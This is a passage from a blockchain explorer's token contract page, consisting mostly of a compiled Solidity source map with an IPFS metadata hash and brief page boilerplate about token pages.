;9842:20:0;;9834:70;;;;-1:-1:-1;;;9834:70:0;;11771:2:1;9834:70:0;;;11753:21:1;11810:2;11790:18;;;11783:30;11849:34;11829:18;;;11822:62;-1:-1:-1;;;11900:18:1;;;11893:35;11945:19;;9834:70:0;11569:401:1;9834:70:0;-1:-1:-1;;;;;9923:23:0;;9915:71;;;;-1:-1:-1;;;9915:71:0;;12177:2:1;9915:71:0;;;12159:21:1;12216:2;12196:18;;;12189:30;12255:34;12235:18;;;12228:62;-1:-1:-1;;;12306:18:1;;;12299:33;12349:19;;9915:71:0;11975:399:1;9915:71:0;-1:-1:-1;;;;;10023:17:0;;9999:21;10023:17;;;;;;;;;;;10059:23;;;;10051:74;;;;-1:-1:-1;;;10051:74:0;;12581:2:1;10051:74:0;;;12563:21:1;12620:2;12600:18;;;12593:30;12659:34;12639:18;;;12632:62;-1:-1:-1;;;12710:18:1;;;12703:36;12756:19;;10051:74:0;12379:402:1;10051:74:0;10156:22;10172:6;10156:13;:22;:::i;:::-;-1:-1:-1;;;;;10136:17:0;;;:9;:17;;;;;;;;;;;:42;;;;10189:20;;;;;;;;:30;;10213:6;;10136:9;10189:30;;10213:6;;10189:30;:::i;:::-;;;;;;;;10254:9;-1:-1:-1;;;;;10237:35:0;10246:6;-1:-1:-1;;;;;10237:35:0;;10265:6;10237:35;;;;1500:25:1;;1488:2;1473:18;;1354:177;10237:35:0;;;;;;;;9823:457;9736:544;;;:::o;1102:136::-;1160:7;1187:43;1191:1;1194;1187:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1180:50;1102:136;-1:-1:-1;;;1102:136:0:o;17836:491::-;17923:16;;;17937:1;17923:16;;;;;;;;17899:21;;17923:16;;;;;;;;;;-1:-1:-1;17923:16:0;17899:40;;17968:4;17950;17955:1;17950:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17950:23:0;;;:7;;;;;;;;;;:23;;;;17994:13;;:20;;;-1:-1:-1;;;17994:20:0;;;;:13;;;;;:18;;:20;;;;;17950:7;;17994:20;;;;;:13;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17984:4;17989:1;17984:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17984:30:0;;;:7;;;;;;;;;:30;18057:13;;18025:60;;18042:4;;18057:13;18073:11;18025:8;:60::i;:::-;18124:13;;:195;;-1:-1:-1;;;18124:195:0;;-1:-1:-1;;;;;18124:13:0;;;;:64;;:195;;18203:11;;18124:13;;18246:4;;18273;;18293:15;;18124:195;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17888:439;17836:491;:::o;2149:181::-;2235:7;2271:12;2263:6;;;;2255:29;;;;-1:-1:-1;;;2255:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2286:9:0;2298:5;2302:1;2298;:5;:::i;:::-;2286:17;2149:181;-1:-1:-1;;;;;2149:181:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:127::-;2247:10;2242:3;2238:20;2235:1;2228:31;2278:4;2275:1;2268:15;2302:4;2299:1;2292:15;2318:1121;2402:6;2433:2;2476;2464:9;2455:7;2451:23;2447:32;2444:52;;;2492:1;2489;2482:12;2444:52;2532:9;2519:23;2561:18;2602:2;2594:6;2591:14;2588:34;;;2618:1;2615;2608:12;2588:34;2656:6;2645:9;2641:22;2631:32;;2701:7;2694:4;2690:2;2686:13;2682:27;2672:55;;2723:1;2720;2713:12;2672:55;2759:2;2746:16;2781:2;2777;2774:10;2771:36;;;2787:18;;:::i;:::-;2833:2;2830:1;2826:10;2865:2;2859:9;2928:2;2924:7;2919:2;2915;2911:11;2907:25;2899:6;2895:38;2983:6;2971:10;2968:22;2963:2;2951:10;2948:18;2945:46;2942:72;;;2994:18;;:::i;:::-;3030:2;3023:22;3080:18;;;3114:15;;;;-1:-1:-1;3156:11:1;;;3152:20;;;3184:19;;;3181:39;;;3216:1;3213;3206:12;3181:39;3240:11;;;;3260:148;3276:6;3271:3;3268:15;3260:148;;;3342:23;3361:3;3342:23;:::i;:::-;3330:36;;3293:12;;;;3386;;;;3260:148;;;3427:6;2318:1121;-1:-1:-1;;;;;;;;2318:1121:1:o;3444:247::-;3503:6;3556:2;3544:9;3535:7;3531:23;3527:32;3524:52;;;3572:1;3569;3562:12;3524:52;3611:9;3598:23;3630:31;3655:5;3630:31;:::i;3696:180::-;3755:6;3808:2;3796:9;3787:7;3783:23;3779:32;3776:52;;;3824:1;3821;3814:12;3776:52;-1:-1:-1;3847:23:1;;3696:180;-1:-1:-1;3696:180:1:o;4312:388::-;4380:6;4388;4441:2;4429:9;4420:7;4416:23;4412:32;4409:52;;;4457:1;4454;4447:12;4409:52;4496:9;4483:23;4515:31;4540:5;4515:31;:::i;:::-;4565:5;-1:-1:-1;4622:2:1;4607:18;;4594:32;4635:33;4594:32;4635:33;:::i;:::-;4687:7;4677:17;;;4312:388;;;;;:::o;4705:380::-;4784:1;4780:12;;;;4827;;;4848:61;;4902:4;4894:6;4890:17;4880:27;;4848:61;4955:2;4947:6;4944:14;4924:18;4921:38;4918:161;;5001:10;4996:3;4992:20;4989:1;4982:31;5036:4;5033:1;5026:15;5064:4;5061:1;5054:15;4918:161;;4705:380;;;:::o;5499:127::-;5560:10;5555:3;5551:20;5548:1;5541:31;5591:4;5588:1;5581:15;5615:4;5612:1;5605:15;5631:128;5698:9;;;5719:11;;;5716:37;;;5733:18;;:::i;5764:125::-;5829:9;;;5850:10;;;5847:36;;;5863:18;;:::i;5894:356::-;6096:2;6078:21;;;6115:18;;;6108:30;6174:34;6169:2;6154:18;;6147:62;6241:2;6226:18;;5894:356::o;6255:127::-;6316:10;6311:3;6307:20;6304:1;6297:31;6347:4;6344:1;6337:15;6371:4;6368:1;6361:15;6387:135;6426:3;6447:17;;;6444:43;;6467:18;;:::i;:::-;-1:-1:-1;6514:1:1;6503:13;;6387:135::o;6527:168::-;6600:9;;;6631;;6648:15;;;6642:22;;6628:37;6618:71;;6669:18;;:::i;6979:277::-;7046:6;7099:2;7087:9;7078:7;7074:23;7070:32;7067:52;;;7115:1;7112;7105:12;7067:52;7147:9;7141:16;7200:5;7193:13;7186:21;7179:5;7176:32;7166:60;;7222:1;7219;7212:12;10352:217;10392:1;10418;10408:132;;10462:10;10457:3;10453:20;10450:1;10443:31;10497:4;10494:1;10487:15;10525:4;10522:1;10515:15;10408:132;-1:-1:-1;10554:9:1;;10352:217::o;12786:251::-;12856:6;12909:2;12897:9;12888:7;12884:23;12880:32;12877:52;;;12925:1;12922;12915:12;12877:52;12957:9;12951:16;12976:31;13001:5;12976:31;:::i;13042:980::-;13304:4;13352:3;13341:9;13337:19;13383:6;13372:9;13365:25;13409:2;13447:6;13442:2;13431:9;13427:18;13420:34;13490:3;13485:2;13474:9;13470:18;13463:31;13514:6;13549;13543:13;13580:6;13572;13565:22;13618:3;13607:9;13603:19;13596:26;;13657:2;13649:6;13645:15;13631:29;;13678:1;13688:195;13702:6;13699:1;13696:13;13688:195;;;13767:13;;-1:-1:-1;;;;;13763:39:1;13751:52;;13858:15;;;;13823:12;;;;13799:1;13717:9;13688:195;;;-1:-1:-1;;;;;;;13939:32:1;;;;13934:2;13919:18;;13912:60;-1:-1:-1;;;14003:3:1;13988:19;13981:35;13900:3;13042:980;-1:-1:-1;;;13042:980:1:o
Swarm Source
ipfs://f9427cfa9afb2e0d3844eb15e55d90fedf5787d97fbe8b2f25b6e0e9b3b16c46
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.